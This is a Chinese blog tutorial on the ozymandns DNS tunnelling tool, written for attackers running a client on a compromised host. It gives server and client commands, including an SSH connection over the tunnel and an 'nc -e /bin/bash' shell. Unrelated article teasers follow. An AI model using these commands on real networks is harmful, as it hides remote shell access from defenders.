『DNS隧道工具』— ozymandns-程序员宅基地

技术标签: dns隧道  ozymandns  ssh  网络安全  DNS隧道系列  隐蔽  

一、入坑必读

1、简介

ozymandns 较早的一个DNS隧道工具,它基于perl开发,使用较复杂。

最初版本只有0.1,有各个爱好者的修改版,如via1,via2,via3等。它的主要功能就是结合 ssh 来做通道,因此这也是它的一大坑点,下面会讲到。

数据请求用base32编码,响应使用base64编码。

使用热度: ★★☆☆☆

2、专业词

  • Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
  • 直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
  • 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。

3、放哪儿

攻击机 被控机
服务端 客户端

4、支持Type

  • TXT

5、兼容说明

  • 由于版本较老,服务端、客户端不太支持Windows,推荐在Linux下跑。

    Windows下运行可能提示:Your vendor has not defined Fcntl macro F_GETFL

    原因是Windows对F_GETFL函数不支持,当然可以修改相关代码以兼容Windows,详见:https://github.com/kthakore/frozen-bubble/commit/735dd2307455e32c69827e013992c2d022cb7347

    并且Windows运行,还需要cgywin工具。博主在安装后,仍然提示缺少cgywin1.dll,没搞成功。

  • kali系统内置Perl环境,但是运行可能还是会报缺少一些依赖:

    • Net::DNS
    • MIME::Base32

    安装方法:
    解压ppm文件(如Net::DNS),将里面的lib覆盖到perl安装目录下的lib(注意kali的perl默认在usr/lib/x86_64-linux-gnu/perl5

    这些Perl依赖,以及服务端、客户端等所有工具,下面的下载地址已打包提供!
    当然以上依赖也可以到官网下载:http://www.bribes.org/perl/ppm/

6、全套下载地址

  • CSDN:https://download.csdn.net/download/localhost01/10938136

二、原理简述

ozymandns分为两部分:客户端和服务器。

客户端:

在受感染的计算机上运行。

运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端

如果您没有购买域名,还可以在UDP/53上使用直连。

服务端:

Perl语言编写,在服务器上运行。

当它接收其中一个域名的流量时,它会尝试建立DNS连接。。

三、安装使用

1、安装

下载下来即可!

2、使用

服务端:

1、启动服务:

# 该ip为查询该域名时返回的ip,不重要
perl nomde.pl -i 11.11.11.11 <domain.com>  <script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>

# 服务端还可以开启nc来监听本地端口,后续被控端可使用nc,通过dns隧道来连接
nc -l -p 1234 -v

客户端:

1、连接:

# 客户端连接的域名,必须有sshdns前缀,否则连不上,我就在这里踩了个大坑
ssh -C -o ProxyCommand="./droute.pl sshdns.abc.com -r <your server ip>" -L 7777:127.0.0.1:1234 [email protected]

# nc去连接,注:其实上面操作就能得到一个ssh窗口了,一般就不需要再通过nc去连了。
nc 127.0.0.1 7777 -e /bin/bash -v

其中:

  • -r 可选,指定远程DNS服务器地址(直连模式),如需使用中继模式,则可不填
  • -L 表示把本地的7777远端的1234端口,基于DNS通道,再建立一个SSH连接通道
  • -C 开启压缩,这样传输更快
  • [email protected] SSH连接时,输入的用户名,如果连接成功后,会提示输入登录密码。

    这是使用 ozymandns 来做ssh通讯最大的坑点。对于普通用户来说,倒没什么,对于黑客们来说,还得需要知道其密码!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/localhost01/article/details/86646512

智能推荐

oracle 12c 集群安装后的检查_12c查看crs状态-程序员宅基地

文章浏览阅读1.6k次。安装配置gi、安装数据库软件、dbca建库见下:http://blog.csdn.net/kadwf123/article/details/784299611、检查集群节点及状态:[root@rac2 ~]# olsnodes -srac1 Activerac2 Activerac3 Activerac4 Active[root@rac2 ~]_12c查看crs状态

解决jupyter notebook无法找到虚拟环境的问题_jupyter没有pytorch环境-程序员宅基地

文章浏览阅读1.3w次,点赞45次,收藏99次。我个人用的是anaconda3的一个python集成环境,自带jupyter notebook,但在我打开jupyter notebook界面后,却找不到对应的虚拟环境,原来是jupyter notebook只是通用于下载anaconda时自带的环境,其他环境要想使用必须手动下载一些库:1.首先进入到自己创建的虚拟环境(pytorch是虚拟环境的名字)activate pytorch2.在该环境下下载这个库conda install ipykernelconda install nb__jupyter没有pytorch环境

国内安装scoop的保姆教程_scoop-cn-程序员宅基地

文章浏览阅读5.2k次,点赞19次,收藏28次。选择scoop纯属意外,也是无奈,因为电脑用户被锁了管理员权限,所有exe安装程序都无法安装,只可以用绿色软件,最后被我发现scoop,省去了到处下载XXX绿色版的烦恼,当然scoop里需要管理员权限的软件也跟我无缘了(譬如everything)。推荐添加dorado这个bucket镜像,里面很多中文软件,但是部分国外的软件下载地址在github,可能无法下载。以上两个是官方bucket的国内镜像,所有软件建议优先从这里下载。上面可以看到很多bucket以及软件数。如果官网登陆不了可以试一下以下方式。_scoop-cn

Element ui colorpicker在Vue中的使用_vue el-color-picker-程序员宅基地

文章浏览阅读4.5k次,点赞2次,收藏3次。首先要有一个color-picker组件 <el-color-picker v-model="headcolor"></el-color-picker>在data里面data() { return {headcolor: ’ #278add ’ //这里可以选择一个默认的颜色} }然后在你想要改变颜色的地方用v-bind绑定就好了,例如:这里的:sty..._vue el-color-picker

迅为iTOP-4412精英版之烧写内核移植后的镜像_exynos 4412 刷机-程序员宅基地

文章浏览阅读640次。基于芯片日益增长的问题,所以内核开发者们引入了新的方法,就是在内核中只保留函数,而数据则不包含,由用户(应用程序员)自己把数据按照规定的格式编写,并放在约定的地方,为了不占用过多的内存,还要求数据以根精简的方式编写。boot启动时,传参给内核,告诉内核设备树文件和kernel的位置,内核启动时根据地址去找到设备树文件,再利用专用的编译器去反编译dtb文件,将dtb还原成数据结构,以供驱动的函数去调用。firmware是三星的一个固件的设备信息,因为找不到固件,所以内核启动不成功。_exynos 4412 刷机

Linux系统配置jdk_linux配置jdk-程序员宅基地

文章浏览阅读2w次,点赞24次,收藏42次。Linux系统配置jdkLinux学习教程,Linux入门教程(超详细)_linux配置jdk

随便推点

matlab(4):特殊符号的输入_matlab微米怎么输入-程序员宅基地

文章浏览阅读3.3k次,点赞5次,收藏19次。xlabel('\delta');ylabel('AUC');具体符号的对照表参照下图:_matlab微米怎么输入

C语言程序设计-文件(打开与关闭、顺序、二进制读写)-程序员宅基地

文章浏览阅读119次。顺序读写指的是按照文件中数据的顺序进行读取或写入。对于文本文件,可以使用fgets、fputs、fscanf、fprintf等函数进行顺序读写。在C语言中,对文件的操作通常涉及文件的打开、读写以及关闭。文件的打开使用fopen函数,而关闭则使用fclose函数。在C语言中,可以使用fread和fwrite函数进行二进制读写。‍ Biaoge 于2024-03-09 23:51发布 阅读量:7 ️文章类型:【 C语言程序设计 】在C语言中,用于打开文件的函数是____,用于关闭文件的函数是____。

Touchdesigner自学笔记之三_touchdesigner怎么让一个模型跟着鼠标移动-程序员宅基地

文章浏览阅读3.4k次,点赞2次,收藏13次。跟随鼠标移动的粒子以grid(SOP)为partical(SOP)的资源模板,调整后连接【Geo组合+point spirit(MAT)】,在连接【feedback组合】适当调整。影响粒子动态的节点【metaball(SOP)+force(SOP)】添加mouse in(CHOP)鼠标位置到metaball的坐标,实现鼠标影响。..._touchdesigner怎么让一个模型跟着鼠标移动

【附源码】基于java的校园停车场管理系统的设计与实现61m0e9计算机毕设SSM_基于java技术的停车场管理系统实现与设计-程序员宅基地

文章浏览阅读178次。项目运行环境配置:Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX(Webstorm也行)+ Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。项目技术:Springboot + mybatis + Maven +mysql5.7或8.0+html+css+js等等组成,B/S模式 + Maven管理等等。环境需要1.运行环境:最好是java jdk 1.8,我们在这个平台上运行的。其他版本理论上也可以。_基于java技术的停车场管理系统实现与设计

Android系统播放器MediaPlayer源码分析_android多媒体播放源码分析 时序图-程序员宅基地

文章浏览阅读3.5k次。前言对于MediaPlayer播放器的源码分析内容相对来说比较多,会从Java-&amp;amp;gt;Jni-&amp;amp;gt;C/C++慢慢分析,后面会慢慢更新。另外,博客只作为自己学习记录的一种方式,对于其他的不过多的评论。MediaPlayerDemopublic class MainActivity extends AppCompatActivity implements SurfaceHolder.Cal..._android多媒体播放源码分析 时序图

java 数据结构与算法 ——快速排序法-程序员宅基地

文章浏览阅读2.4k次,点赞41次,收藏13次。java 数据结构与算法 ——快速排序法_快速排序法